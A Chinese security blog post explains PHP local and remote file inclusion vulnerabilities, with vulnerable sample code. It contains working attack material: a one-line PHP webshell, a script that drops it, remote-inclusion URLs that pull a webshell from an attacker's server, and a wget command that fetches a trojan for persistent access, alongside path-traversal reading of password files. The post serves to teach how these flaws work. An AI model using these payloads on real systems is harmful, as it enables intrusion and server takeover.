详解文件包含漏洞

文件包含漏洞触发前提:

allow_url_fopen = On  &&  allow_url_include = Off     此时才可以触发本地文件包含漏洞

allow_url_fopen = On  &&  allow_url_include = On     此时才可以触发远程文件包含漏洞

其中,allow_url_fopen一直都是默认开启的,而allow_url_include从PHP5.2之后就是默认关闭的了

涉及到的危险函数:

include(),include_once()
require(),require_once()

include()&&require() 的区别:

            include() 产生一个警告而 require() 则导致一个致命错误。也就是include()包含不到文件时还是会继续运行脚本,而require()包含文本时却又没有这个文本就会终止运行脚本。

include_once()&&require_once() 的区别:

            他俩就是保证在代码被包括后就不会再包括,保证了在文件包含时只能包含一次。

  当前期的系统配置支持的情况下,不合理的使用文件包含,就可能造成文件包含漏洞。

一.本地文件包含

  比如当我们的127.0.0.1/include/fi_local.php文件中有下面源码,并且include目录下含有phpinfo.php的时候

代码截取:

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";

//通过Get方式提交两个参数submit和filename,当filename不为空时,就可以实现本地文件的包含

  原本是想让我们直接提交127.0.0.1/include/fi_local.php?filename=phpinfo.php&submit=提交查询,此时就可以直接包含phpinfo.php 文件,而当你不以正常想法去包含这个phpinfo.php文件的时候,而是去包含一个不存在的test.php文件时就会出现下面报错

Warning: include(include/test.php): failed to open stream: No such file or directory in ……/include/fi_local.php on line 23

Warning: include(): Failed opening 'include/test.php' for inclusion (include_path='.;C:\php\pear') in ……/include/fi_local.php on line 23

  当然,我们还可以创建一个写入了<?php phpinfo(); ?> 的hello.txt文件或者hello.jpg文件,只要是写入了php语言的任意文件,都可以被文件包含当做php文件读取出来。

此时我们提交127.0.0.1/include/fi_local.php?filename=hello.txt&submit=提交查询

就可以查询php环境信息,模块和web环境。

二.远程文件包含

代码截取:

比如当我们的127.0.0.1/include/fi_remote.php文件中有下面源码,并且include目录下含有phpinfo.php的时候

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";

//通过Get方式提交两个参数submit和filename,当filename不为空时,就可以实现远程文件的包含

此时,我们在127.0.0.1/file/路径下创建一个文件yijuhua.txt

<?php
  $myfile = fopen("yijuhua.php","w");
  $txt = '<?php system($_GET[hacker]);?>';
  fwrite($myfile,$txt);
  fclose($myfile);
?>

此时我们访问127.0.0.1/include/fi_remote.php

通过Get方式提交:?filename=http://127.0.0.1/file/yijuhua.txt&submit=提交查询  时,就会生成一个一句话木马文件 yijuhua.php

<?php system($_GET[hacker]);?>

然后我们就可以通过蚁剑连接一句话木马

  当然,既然可以这样实现木马文件的创建,我们就可以在自己的服务器上放置一个写好了的webshell

http://192.168.1.xxx/web/webshell.php

然后通过远程文件包含漏洞去下载这个webshell

http:xxx.xx.x.xxx/……/fi_remote.php?filename=http://192.168.1.xxx/web/webshell.php&submit=提交查询

 

文件包含漏洞的危害

通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解,若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制;另外文件包含漏洞还可能导致执行任意代码,不管本地文件包含还是远程文件包含!

 

文件包含漏洞的利用

一、读取目标主机上的其他文件,主要是本地文件包含。

  由于一些参数没有经过过滤,我们就可以通过多次探测可能包含的文件,从而读取出目标主机中的一些敏感文件,在没有过滤 ../ 的时候,我们可以通过 ../ 来进行目录跳转,从而读取出其他目录下的文件,当然在../被过滤掉的情况下我们也可以直接通过绝对路径进行文件读取。

二、包含可运行的网页木马,主要是远程文件包含。

  通过跳转到自己服务器中的webshell,也可以下载通过访问下载木马文件在目标主机中,也可以创建一个写入一些 weget 命令啥的cmd.txt文件在自己主机上,通过构造url去远程执行命令

  weget命令可以下载指定URL的文件

  pwd可以查看当前绝对路径

三、包含一个创建文件的相应代码文件,因为通过文件包含漏洞获取的shell不是长久的,如果这个漏洞修补了,那么shell也就不存在了,因此需要创建一个真实的shell。我们可以先包含一个可以执行cmd的伪shell,然后使用wget加-O参数(类似:

http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)获取一个真正的webshell。如果系统中没有wget命令,获取目录不可写,那么我们可以包含一个创建文件的脚本,然后通过脚本上传木马文件。

 

posted @ 2019-08-15 22:39  X38072  阅读(973)  评论(0编辑  收藏  举报